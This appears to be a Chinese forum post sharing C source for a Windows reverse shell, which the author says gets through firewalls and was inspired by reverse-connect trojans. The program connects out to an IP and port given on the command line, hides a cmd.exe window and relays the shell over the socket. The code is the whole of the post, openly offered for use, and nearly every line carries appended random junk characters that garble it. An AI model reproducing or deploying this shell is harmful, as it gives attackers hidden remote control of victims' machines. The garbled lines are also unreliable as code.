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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 _qZ?|;o^  
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/* ============================== yt+"\d  
Rebound port in Windows NT Z uh!{_x;  
By wind,2006/7 a2{ nrGD  
===============================*/ phT|w H  
#include /:YJ2AARY  
#include 9 2e?v8  
Od?M4Ed(  
#pragma comment(lib,"wsock32.lib") o:E_k#Fi  
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void OutputShell(); ? x*Ve2+]  
SOCKET sClient; -t<8)9q(  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O[tOpf@s.  
]Tb ?k+a  
void main(int argc,char **argv) y2>XLELy  
{ JwkMRO  
WSADATA stWsaData; Bbb_}y|CA  
int nRet; ymIjm0jVh  
SOCKADDR_IN stSaiClient,stSaiServer; LV^V`m0#  
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if(argc != 3) MS Ml  
{ eX;Tufe*(Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); px!TRb f  
return; qB`-[A9HPe  
} KNkVI K  
&m>yY{ be  
WSAStartup(MAKEWORD(2,2),&stWsaData); TTJFF\$?  
F)W7,^=X>-  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VUo7Evc:.P  
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stSaiClient.sin_family = AF_INET; @+9x8*~S'  
stSaiClient.sin_port = htons(0); yEaim~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?f\;z<e|  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  KKfC^g  
{ +x7b9sHJ  
printf("Bind Socket Failed!\n"); -R~!N#y  
return; U_-9rkUa  
} Yt 9{:+[RK  
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stSaiServer.sin_family = AF_INET; hU:M]O0uw  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RjII(4Et  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j2U iZLuV  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y5td o'Ex  
{ sd@JQ%O  
printf("Connect Error!"); 2WP73:'t  
return; BD)5br].  
} rQ^X3J*`  
OutputShell(); =Me94w>G3X  
} V/=NIeSE  
8y<NT"  
void OutputShell() 0>  
{ A]z~Dw3  
char szBuff[1024]; %Fh*$gzh*5  
SECURITY_ATTRIBUTES stSecurityAttributes; Rmq8lU  
OSVERSIONINFO stOsversionInfo; q`l&G%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $_j\b4]%  
STARTUPINFO stStartupInfo; qdlz#-B  
char *szShell; kIm)Um  
PROCESS_INFORMATION stProcessInformation; .pP{;:Avpn  
unsigned long lBytesRead; ?B)jnBh|  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); duCso M/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M![aty@  
stSecurityAttributes.lpSecurityDescriptor = 0; d)G' y  
stSecurityAttributes.bInheritHandle = TRUE; X3z$f(lF%)  
=F(fum;zH  
qjK'sge/  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); tD G[}j  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);  H %Cb  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E3pnu.;U:_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m&GxL T6  
stStartupInfo.wShowWindow = SW_HIDE; (<= &#e?  
stStartupInfo.hStdInput = hReadPipe; .RI{\i`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >)/,5VSE  
/rKdxsI*  
GetVersionEx(&stOsversionInfo); 2wHvHH!  
9WXJz;  
switch(stOsversionInfo.dwPlatformId) C q/936`O  
{ : ryE`EhB  
case 1: Im NTk  
szShell = "command.com"; iIOA54!o  
break; &"D *  
default: fM[Qn*.  
szShell = "cmd.exe"; {uurM` f}:  
break; :# 1d;jx  
} Jj<UtD+  
QAp+LSm  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?s4-2g  
[ n[!RddY  
send(sClient,szMsg,77,0); 9?VyF'r=  
while(1) 3GH@|id  
{ wVI 1sR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); =hs !t|(*  
if(lBytesRead) mSn>  
{ `Qf$]Eoft  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "bO\Wt#Mf  
send(sClient,szBuff,lBytesRead,0); sh $mOy  
} {Vc%ga|E  
else dQ4VpR9|;  
{ uF xrv  
lBytesRead=recv(sClient,szBuff,1024,0); :Hk:Goo2  
if(lBytesRead<=0) break; /H_,1Fu|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~16QdwK  
} 0K\Xxo.=  
} orGNza"A  
6$1dd#  
return; M;BDo(1  
}
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